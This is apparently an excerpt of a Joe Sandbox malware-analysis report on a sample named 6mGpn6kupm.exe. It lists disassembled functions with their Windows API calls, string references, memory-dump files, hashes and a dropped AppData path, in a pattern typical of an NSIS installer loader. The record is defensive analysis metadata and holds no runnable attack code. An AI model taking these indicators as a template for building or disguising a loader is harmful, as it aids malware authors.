OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32(00000000), ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32(0000000D,00000000), ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

(7B, xrefs: 0040587D
{, xrefs: 004057F5

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: 1d1f977673fe441afad02026140f53aaec566053b515a361d3c8f7f727d52ca3
Instruction ID: ef9837d71be30d97cad1ad5ee6bf48d4101bac37d77d0ad6e239d9f51a57dc01
Opcode Fuzzy Hash: 1d1f977673fe441afad02026140f53aaec566053b515a361d3c8f7f727d52ca3
Instruction Fuzzy Hash: C4B16A70900608FFDB11AFA0DD85AAE7B79FB48355F00403AFA45B61A0CB754E52DF68

Function 00404850 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32(Call,00423728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,Call), ref: 004049C3
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,00000400,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,774D3420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
Part of subcall function 0040667C: CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,774D3420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,774D3420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,00000001,004216F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

A, xrefs: 00404973
Call, xrefs: 004049B1, 004049B6, 004049C1
(7B, xrefs: 0040494D

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A$Call
API String ID: 2624150263-413618503
Opcode ID: 60ed21fe2f328070877fcf4fb1291f079d9e461e65f212612ce38389da6d49e8
Instruction ID: 217fbe9c53fcac7a38d38ba6b36a95d3c52d9e466bb1b0d29fe77156d884dce9
Opcode Fuzzy Hash: 60ed21fe2f328070877fcf4fb1291f079d9e461e65f212612ce38389da6d49e8
Instruction Fuzzy Hash: 01A161F1A00205ABDB11EFA5C985AAF77B8EF84315F10803BF611B62D1D77C9A418B6D

Function 701C1B5F Relevance: 20.1, APIs: 13, Instructions: 576stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 701C121B: GlobalAlloc.KERNELBASE(00000040,?,701C123B,?,701C12DF,00000019,701C11BE,-000000A0), ref: 701C1225

GlobalAlloc.KERNEL32(00000040,00001CA4), ref: 701C1C6B
lstrcpyW.KERNEL32(00000008,?), ref: 701C1CB3
lstrcpyW.KERNEL32(00000808,?), ref: 701C1CBD
GlobalFree.KERNEL32(00000000), ref: 701C1CD0
GlobalFree.KERNEL32(?), ref: 701C1DB2
GlobalFree.KERNEL32(?), ref: 701C1DB7
GlobalFree.KERNEL32(?), ref: 701C1DBC
GlobalFree.KERNEL32(00000000), ref: 701C1FA6
lstrcpyW.KERNEL32(?,?), ref: 701C2140
GetModuleHandleW.KERNEL32(00000008), ref: 701C21B5
LoadLibraryW.KERNEL32(00000008), ref: 701C21C6
GetProcAddress.KERNEL32(?,?), ref: 701C2220
lstrlenW.KERNEL32(00000808), ref: 701C223A

Memory Dump Source

Source File: 00000000.00000002.1749930895.00000000701C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 701C0000, based on PE: true

Associated: 00000000.00000002.1749380141.00000000701C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1749974424.00000000701C4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1750054487.00000000701C6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_701c0000_6mGpn6kupm.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: 9638c894113057112ebf58b2884abe00560e1b5e7020cfa4bd2077549016558e
Instruction ID: 12621fa502bbfdcc3af421b3432ada8ece17d8b62c63a03b4b0cbf8acc826345
Opcode Fuzzy Hash: 9638c894113057112ebf58b2884abe00560e1b5e7020cfa4bd2077549016558e
Instruction Fuzzy Hash: 1F229A71C84205DFDB228FA4C9847EFB7B5FB26315F22456EE166E2680D7B0DA80DB50

Function 00402104 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402183

Strings

C:\Users\user\AppData\Local\Iw\Bargains, xrefs: 004021C3

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Iw\Bargains
API String ID: 542301482-2976193113
Opcode ID: 4630f11a642d4e3ef4f98d2454dc0e8d663bfbe8c95ddff176ede1b1d5b4d77b
Instruction ID: a370b0fa9b2e606d6813e98b4c017b265e4ea8c47d708310f479c561ceb58c7b
Opcode Fuzzy Hash: 4630f11a642d4e3ef4f98d2454dc0e8d663bfbe8c95ddff176ede1b1d5b4d77b
Instruction Fuzzy Hash: 80414A71A00208AFCF04DFE4C988A9D7BB5FF48314B24457AF915EB2E1DBB99981CB54

Function 00402868 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402877

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 6fd2962910cdf18594a7907c322fc030c9e7a26b232b9d9b5d327205302d7dac
Instruction ID: e6f127318fd58302517648c6e406f49d0db104963aa8d987e753e5cb7f87edca
Opcode Fuzzy Hash: 6fd2962910cdf18594a7907c322fc030c9e7a26b232b9d9b5d327205302d7dac
Instruction Fuzzy Hash: EDF08271A14104EBDB10DBA4DA499AEB378EF14314F60467BF545F21E0DBB45D809B2A

Function 0040451E Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004045BC
GetDlgItem.USER32(?,000003E8), ref: 004045D0
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32(?,0000040A), ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32(?,000003E8), ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040476B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040477D

Strings

N, xrefs: 004046BA
Call, xrefs: 004046FB

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$N
API String ID: 3103080414-3438112850
Opcode ID: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction ID: 26ae409e5f73424340e4bb55f347a499eb46e427c8d4328441e026d38e95c6c2
Opcode Fuzzy Hash: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction Fuzzy Hash: 4B6173B1900209BFDB109F60DD85EAA7B69FB84314F00853AFB05772E0D7789D52CB58

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction ID: b35030fe9107d9a8359b932f7918d2348922827c9ca57aaae851fe5b21190c6b
Opcode Fuzzy Hash: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction Fuzzy Hash: 92418A71800249AFCF058FA5DE459AFBBB9FF44310F00842AF991AA1A0C738E955DFA4

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32(?,004275C8,00000400), ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,00000004,004275C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32(00000000), ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\6mGpn6kupm.exe,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Strings

%ls=%ls, xrefs: 004060A9
[Rename], xrefs: 0040611D, 0040612F

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: a8f6130d4aa3065939d725957225dfc1b425243e5004b20d0867480790577512
Instruction ID: 8c4bc4cab4d3408e43c29de3b383fd3cef376d344e04ab2aaf2f470794b42cbb
Opcode Fuzzy Hash: a8f6130d4aa3065939d725957225dfc1b425243e5004b20d0867480790577512
Instruction Fuzzy Hash: 34313770200719BFD2206B619D48F6B3A6CEF45704F16043EFA46FA2D3DA3C99158ABD

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: d8bd542d8f5d0add287beae510a16995646733a1dc03fc5179ed0d48c47eb8dc
Instruction ID: e73fa1987b6059f35b704de59c80f6892b54c3d1ee51518932a2041d94d0b0cb
Opcode Fuzzy Hash: d8bd542d8f5d0add287beae510a16995646733a1dc03fc5179ed0d48c47eb8dc
Instruction Fuzzy Hash: BE21A171900558BACB119F95DD84ACFBFB5EF84314F10803AF904B22A1C3798A91CFA8

Function 0040667C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,774D3420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,774D3420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,774D3420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

Strings

*?|<>/":, xrefs: 004066CE
C:\Users\user\AppData\Local\Temp\, xrefs: 0040667D, 00406682

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2950451457
Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(0001F421,00000064,00021AEC), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction ID: c65c9f61eb329069142d3a49436c3393aeffd9891ae55f37d91fa0e4ac25720a
Opcode Fuzzy Hash: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction Fuzzy Hash: 1A016170941614EBC7226B60EE4DA9B7B68BB01745B50413FF841F12E0CAB84459DBEE

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

